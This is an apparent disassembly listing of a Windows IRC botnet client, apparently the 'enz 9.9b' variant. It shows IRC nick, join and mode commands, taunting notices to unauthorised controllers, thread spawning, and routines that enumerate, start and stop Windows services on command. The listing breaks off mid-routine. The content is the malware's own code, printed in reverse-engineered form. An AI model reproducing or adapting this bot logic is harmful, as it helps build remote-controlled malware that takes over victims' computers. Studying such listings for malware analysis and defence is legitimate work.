		mov	[ebp-450h], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_410CCD
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_410CCD:				; CODE XREF: seg000:00410CC6j
		push	eax
		push	offset dword_428780
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_413B2A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	19h
		push	eax
		call	sub_413059
		add	esp, 1Ch
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_4129BE
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_410D3D


loc_410D2B:				; CODE XREF: seg000:00410D3Bj
		cmp	[ebp-44Ch], ebx
		jnz	short loc_410D58
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_410D2B
; ---------------------------------------------------------------------------


loc_410D3D:				; CODE XREF: seg000:00410D29j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_428730


loc_410D49:				; CODE XREF: seg000:0040EFC1j
					; seg000:0040FA93j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		add	esp, 0Ch


loc_410D58:				; CODE XREF: seg000:0040DCBAj
					; seg000:0040DCDCj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_409615
		jmp	loc_40B90E
; ---------------------------------------------------------------------------


loc_410D69:				; CODE XREF: seg000:0040C2F1j
					; seg000:0040C306j
		push	offset aEnz9_9b	; "enz 9.9b"
		push	offset dword_42870C


loc_410D73:				; CODE XREF: seg000:0040F833j
					; seg000:0040FB47j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD


loc_410D7F:				; CODE XREF: seg000:004104B5j
		add	esp, 0Ch
		jmp	loc_40D48C
; ---------------------------------------------------------------------------


loc_410D87:				; CODE XREF: seg000:0040C2C7j
					; seg000:0040C2DCj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_410DE7
		push	esi
		call	sub_413B1F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_410DDC
		cmp	eax, 2
		jge	short loc_410DDC
		mov	edx, [ebp+20h]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_410DD1
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42B880
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40D1C9
; ---------------------------------------------------------------------------


loc_410DD1:				; CODE XREF: seg000:00410DB0j
		push	eax
		push	offset dword_4286CC
		jmp	loc_40D1BA
; ---------------------------------------------------------------------------


loc_410DDC:				; CODE XREF: seg000:00410D9Bj
					; seg000:00410DA0j
		push	eax
		push	offset dword_42868C
		jmp	loc_40D1BA
; ---------------------------------------------------------------------------


loc_410DE7:				; CODE XREF: seg000:00410D90j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_410DEC:				; CODE XREF: seg000:00410E08j
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410E0F
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_410DEC
		jmp	loc_40D1C9
; ---------------------------------------------------------------------------


loc_410E0F:				; CODE XREF: seg000:00410DFCj
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_42B880
		jmp	loc_40D1BA
; ---------------------------------------------------------------------------


loc_410E29:				; CODE XREF: seg000:0040C29Dj
					; seg000:0040C2B2j
		push	dword ptr [ebp-90h]
		push	offset dword_42B7D8
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410E98
		call	sub_413222
		push	ebx
		call	ds:dword_41F104	; ExitProcess


loc_410E4B:				; CODE XREF: seg000:0040C273j
					; seg000:0040C288j
		push	dword ptr [ebp+esi-90h]
		xor	eax, eax
		cmp	[ebp-9A4h], bl
		setnz	al
		push	eax
		lea	eax, [ebp-564h]
		push	ds:dword_428244
		push	eax
		call	sub_412797
		lea	eax, [ebp-564h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		lea	eax, [ebp-564h]
		push	eax
		push	offset dword_428654
		call	sub_409689


loc_410E95:				; CODE XREF: seg000:0040DE35j
		add	esp, 24h


loc_410E98:				; CODE XREF: seg000:0040B9B7j
					; seg000:0040B9C3j ...
		mov	eax, [ebp+2Ch]
		jmp	loc_40B722
; ---------------------------------------------------------------------------


loc_410EA0:				; CODE XREF: seg000:0040BE73j
					; seg000:0040BE88j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], esi
		jz	loc_40B71F
		cmp	[ebp-98h], ebx
		jnz	loc_40B71F
		push	offset asc_42B900 ; "!"
		push	dword ptr [ebp-94h]
		call	sub_414D28
		mov	esi, eax
		push	offset dword_42E344
		push	ebx
		inc	esi
		call	sub_414D28
		push	offset asc_428650 ; "~"
		push	eax
		call	sub_414D28
		push	dword ptr [ebp+8]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_4139D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_410F48
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	edi
		push	esi
		push	offset dword_4285C4


loc_410F34:				; CODE XREF: seg000:00410FA4j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		add	esp, 30h
		jmp	loc_40BCFF
; ---------------------------------------------------------------------------


loc_410F48:				; CODE XREF: seg000:00410EFBj
		mov	dword ptr [ebp+2Ch], offset off_4282F8


loc_410F4F:				; CODE XREF: seg000:00410F6Bj
		mov	eax, [ebp+2Ch]
		push	edi
		push	dword ptr [eax]
		call	sub_4133B2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FA6
		add	dword ptr [ebp+2Ch], 4
		cmp	dword ptr [ebp+2Ch], offset off_4282FC
		jl	short loc_410F4F
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	edi
		push	esi
		push	offset dword_428584
		jmp	short loc_410F34
; ---------------------------------------------------------------------------


loc_410FA6:				; CODE XREF: seg000:00410F5Ej
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_410FAB:				; CODE XREF: seg000:00410FD5j
		cmp	[ebp+8], ebx
		jz	loc_40B71F
		cmp	[edi], bl
		jnz	short loc_410FCB
		push	dword ptr [ebp+8]
		push	offset aHi	; "hi"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410FDC


loc_410FCB:				; CODE XREF: seg000:00410FB6j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_410FAB
		jmp	loc_40B71F
; ---------------------------------------------------------------------------


loc_410FDC:				; CODE XREF: seg000:00410FC9j
		shl	esi, 7
		add	esi, [ebp+20h]
		lea	eax, [ebp-0A94h]
		push	7Fh
		push	eax
		push	esi
		call	sub_414DD0
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_411013
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_428550
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 14h


loc_411013:				; CODE XREF: seg000:00410FF7j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_42851C
		jmp	loc_40B908
; ---------------------------------------------------------------------------


loc_411024:				; CODE XREF: seg000:0040B569j
					; seg000:0040B57Ej
		push	dword ptr [ebp+18h]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	offset dword_4282D0
		push	dword ptr [ebp+18h]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		add	esp, 2Ch
		mov	ds:dword_45DD08, edi
		jmp	loc_40B5F8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41106A	proc near		; CODE XREF: sub_40B1E3+3Dp
					; seg000:0040B526p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41551F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42F758
		leave
		retn
sub_41106A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110B0	proc near		; CODE XREF: start+88p
					; seg000:004014BDp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_4110CB
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_4110CB:				; CODE XREF: sub_4110B0+14j
		push	edi
		call	sub_413DB0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_413DB0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_413B2A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42B998
		push	eax
		call	sub_4135AD
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42F758
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_411149
		push	7D0h
		call	ds:dword_41F058	; Sleep

locret_411149:				; CODE XREF: sub_4110B0+8Cj
		leave
		retn
sub_4110B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41114B	proc near		; CODE XREF: seg000:loc_40D267p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4111B0
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_42B9B0[esi]
		push	edi
		push	eax
		call	sub_4111D2
		add	esp, 14h
		test	eax, eax
		jnz	short loc_411193
		push	edi
		push	ds:off_42B9AC[esi]
		mov	esi, offset dword_45E3D0
		push	offset dword_42BAE4
		push	esi
		call	sub_4135AD
		add	esp, 10h
		jmp	short loc_4111CD
; ---------------------------------------------------------------------------


loc_411193:				; CODE XREF: sub_41114B+2Aj
		push	eax
		call	sub_411274
		push	eax
		push	edi
		mov	esi, offset dword_45E3D0
		push	offset dword_42BAA8
		push	esi
		call	sub_4135AD
		add	esp, 14h
		jmp	short loc_4111CD
; ---------------------------------------------------------------------------


loc_4111B0:				; CODE XREF: sub_41114B+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_45E3D0
		push	ds:off_42B9A8[eax*4]
		push	offset dword_42BA70
		push	esi
		call	sub_4135AD
		add	esp, 0Ch


loc_4111CD:				; CODE XREF: sub_41114B+46j
					; sub_41114B+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_41114B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111D2	proc near		; CODE XREF: sub_41114B+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_42F6FC
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_4111F9
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_41126E
; ---------------------------------------------------------------------------


loc_4111F9:				; CODE XREF: sub_4111D2+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_42F5F0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_411219
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_411266
; ---------------------------------------------------------------------------


loc_411219:				; CODE XREF: sub_4111D2+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_41124C
		cmp	eax, 3
		jz	short loc_41123D
		jle	short loc_41125F
		cmp	eax, 6
		jg	short loc_41125F
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_42F658
		jmp	short loc_411253
; ---------------------------------------------------------------------------


loc_41123D:				; CODE XREF: sub_4111D2+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_42F5F8
		jmp	short loc_411253
; ---------------------------------------------------------------------------


loc_41124C:				; CODE XREF: sub_4111D2+4Dj
		push	esi
		call	ds:dword_42F65C


loc_411253:				; CODE XREF: sub_4111D2+69j
					; sub_4111D2+78j
		test	eax, eax
		jnz	short loc_41125F
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ebx, eax


loc_41125F:				; CODE XREF: sub_4111D2+54j
					; sub_4111D2+59j ...
		push	esi
		call	ds:dword_42F60C


loc_411266:				; CODE XREF: sub_4111D2+45j
		push	edi
		call	ds:dword_42F60C
		pop	esi


loc_41126E:				; CODE XREF: sub_4111D2+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_4111D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_411274	proc near		; CODE XREF: sub_41114B+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_411329
		jz	loc_411322
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_4112EC
		jz	short loc_4112E2
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_4112D8
		dec	ecx
		dec	ecx
		jz	short loc_4112CE
		dec	ecx
		jz	short loc_4112C4
		sub	ecx, 51h
		jz	short loc_4112BA
		sub	ecx, 24h
		jnz	loc_41139F	; default
					; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_411391
; ---------------------------------------------------------------------------


loc_4112BA:				; CODE XREF: sub_411274+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_411391
; ---------------------------------------------------------------------------


loc_4112C4:				; CODE XREF: sub_411274+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_411391
; ---------------------------------------------------------------------------


loc_4112CE:				; CODE XREF: sub_411274+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_411391
; ---------------------------------------------------------------------------


loc_4112D8:				; CODE XREF: sub_411274+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_411391
; ---------------------------------------------------------------------------


loc_4112E2:				; CODE XREF: sub_411274+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_411391
; ---------------------------------------------------------------------------


loc_4112EC:				; CODE XREF: sub_411274+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_41131B
		dec	ecx
		jz	short loc_411314
		dec	ecx
		jz	short loc_41130D
		dec	ecx
		jnz	loc_41139F	; default
					; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_411391
; ---------------------------------------------------------------------------


loc_41130D:				; CODE XREF: sub_411274+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_411314:				; CODE XREF: sub_411274+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_41131B:				; CODE XREF: sub_411274+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_411322:				; CODE XREF: sub_411274+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_411329:				; CODE XREF: sub_411274+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_41139F ; default
					; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_41138C
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_41139F ; default
					; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_4113E0[ecx]
		jmp	ds:off_4113B8[ecx*4] ; switch jump


loc_41134D:				; DATA XREF: seg000:off_4113B8o
		push	offset aTheSpecifiedDa ; jumptable 00411346 case 7
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_411354:				; CODE XREF: sub_411274+D2j
					; DATA XREF: seg000:off_4113B8o
		push	offset aTheServiceDepe ; jumptable 00411346 case 17
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_41135B:				; CODE XREF: sub_411274+D2j
					; DATA XREF: seg000:off_4113B8o
		push	offset aTheServiceDe_0 ; jumptable 00411346 case 10
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_411362:				; CODE XREF: sub_411274+D2j
					; DATA XREF: seg000:off_4113B8o
		push	offset aTheServiceHasB ; jumptable 00411346 case 0
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_411369:				; CODE XREF: sub_411274+D2j
					; DATA XREF: seg000:off_4113B8o
		push	offset aTheSpecified_0 ; jumptable 00411346 case 2
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_411370:				; CODE XREF: sub_411274+D2j
					; DATA XREF: seg000:off_4113B8o
		push	offset aTheServiceCoul ; jumptable 00411346 case 11
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_411377:				; CODE XREF: sub_411274+D2j
					; DATA XREF: seg000:off_4113B8o
		push	offset aTheServiceHa_0 ; jumptable 00411346 case 14
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_41137E:				; CODE XREF: sub_411274+D2j
					; DATA XREF: seg000:off_4113B8o
		push	offset aTheRequested_1 ; jumptable 00411346 case 3
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_411385:				; CODE XREF: sub_411274+D2j
					; DATA XREF: seg000:off_4113B8o
		push	offset aTheServiceHasN ; jumptable 00411346 case 4
		jmp	short loc_411391
; ---------------------------------------------------------------------------


loc_41138C:				; CODE XREF: sub_411274+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_411391:				; CODE XREF: sub_411274+41j
					; sub_411274+4Bj ...
		push	offset dword_45DD10
		call	sub_4135AD
		pop	ecx
		pop	ecx
		jmp	short loc_4113B2
; ---------------------------------------------------------------------------


loc_41139F:				; CODE XREF: sub_411274+36j
					; sub_411274+89j ...
		push	eax		; default
					; jumptable 00411346 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_45DD10
		call	sub_4135AD
		add	esp, 0Ch


loc_4113B2:				; CODE XREF: sub_411274+129j
		mov	eax, offset dword_45DD10
		retn
sub_411274	endp

; ---------------------------------------------------------------------------
off_4113B8	dd offset loc_411362	; DATA XREF: sub_411274+D2r
		dd offset loc_411369	; jump table for switch	statement
		dd offset loc_41137E
		dd offset loc_411385
		dd offset loc_41134D
		dd offset loc_41135B
		dd offset loc_411370
		dd offset loc_411377
		dd offset loc_411354
		dd offset loc_41139F
byte_4113E0	db	0,     9,     1,     2 ; DATA XREF: sub_411274+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113F2	proc near		; CODE XREF: seg000:0040D292p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_42F6FC
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_41142A:				; CODE XREF: sub_4113F2+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_42F6C8
		test	eax, eax
		jnz	short loc_411464
		call	ds:dword_41F068	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_411518


loc_411464:				; CODE XREF: sub_4113F2+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_41150F
		lea	esi, [ebp+var_188]


loc_411475:				; CODE XREF: sub_4113F2+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_4114BE
		dec	eax
		jz	short loc_4114B7
		dec	eax
		jz	short loc_4114B0
		dec	eax
		jz	short loc_4114A9
		dec	eax
		jz	short loc_4114A2
		dec	eax
		jz	short loc_41149B
		dec	eax
		jz	short loc_411494
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_4114C3
; ---------------------------------------------------------------------------


loc_411494:				; CODE XREF: sub_4113F2+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_4114C3
; ---------------------------------------------------------------------------


loc_41149B:				; CODE XREF: sub_4113F2+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_4114C3
; ---------------------------------------------------------------------------


loc_4114A2:				; CODE XREF: sub_4113F2+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_4114C3
; ---------------------------------------------------------------------------


loc_4114A9:				; CODE XREF: sub_4113F2+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_4114C3
; ---------------------------------------------------------------------------


loc_4114B0:				; CODE XREF: sub_4113F2+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_4114C3
; ---------------------------------------------------------------------------


loc_4114B7:				; CODE XREF: sub_4113F2+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_4114C3
; ---------------------------------------------------------------------------


loc_4114BE:				; CODE XREF: sub_4113F2+87j
		push	offset aStopped	; "    Stopped"


loc_4114C3:				; CODE XREF: sub_4113F2+A0j
					; sub_4113F2+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4135AD
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_411475


loc_41150F:				; CODE XREF: sub_4113F2+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_41142A


loc_411518:				; CODE XREF: sub_4113F2+6Cj
		push	[ebp+var_C]
		call	ds:dword_42F60C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_4113F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41152F	proc near		; CODE XREF: seg000:loc_40D349p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4115C8
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_411558
		dec	eax
		jnz	short loc_4115A8
		push	edi
		push	0
		call	sub_411701
		pop	ecx
		pop	ecx
		jmp	short loc_4115A4
; ---------------------------------------------------------------------------


loc_411558:				; CODE XREF: sub_41152F+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_411596
		push	24h
		push	edi
		call	sub_415110
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411596
		push	57h
		pop	eax


loc_41156F:				; CODE XREF: sub_41152F+77j
		push	eax
		call	sub_411ED9
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_45DFCC
		push	ds:off_42B9A8[eax*4]
		push	offset dword_42C0B4
		push	esi
		call	sub_4135AD
		add	esp, 18h
		jmp	short loc_4115E8
; ---------------------------------------------------------------------------


loc_411596:				; CODE XREF: sub_41152F+2Dj
					; sub_41152F+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_411655
		add	esp, 0Ch


loc_4115A4:				; CODE XREF: sub_41152F+27j
		test	eax, eax
		jnz	short loc_41156F


loc_4115A8:				; CODE XREF: sub_41152F+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_45DFCC
		push	ds:off_42B9AC[eax*4]
		push	offset dword_42C084
		push	esi
		call	sub_4135AD
		add	esp, 10h
		jmp	short loc_4115E8
; ---------------------------------------------------------------------------


loc_4115C8:				; CODE XREF: sub_41152F+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_45DFCC
		lea	eax, [eax+eax*2]
		push	ds:off_42B9A8[eax*4]
		push	offset dword_42C04C
		push	esi
		call	sub_4135AD
		add	esp, 0Ch


loc_4115E8:				; CODE XREF: sub_41152F+65j
					; sub_41152F+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41152F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4115EE	proc near		; CODE XREF: sub_412A1E+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4115FB
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4115FB:				; CODE XREF: sub_4115EE+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_41F128
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi ; dword_41F128
		test	ds:byte_45E1CC,	1
		mov	ebp, eax
		jnz	short loc_411638
		or	ds:byte_45E1CC,	1
		lea	eax, [ebp+1]
		push	eax
		call	sub_414855
		pop	ecx
		mov	ds:dword_45DF6C, eax


loc_411638:				; CODE XREF: sub_4115EE+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_45DF6C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi ; dword_41F128
		mov	eax, ds:dword_45DF6C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4115EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411655	proc near		; CODE XREF: sub_41152F+6Dp
					; sub_412D42+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

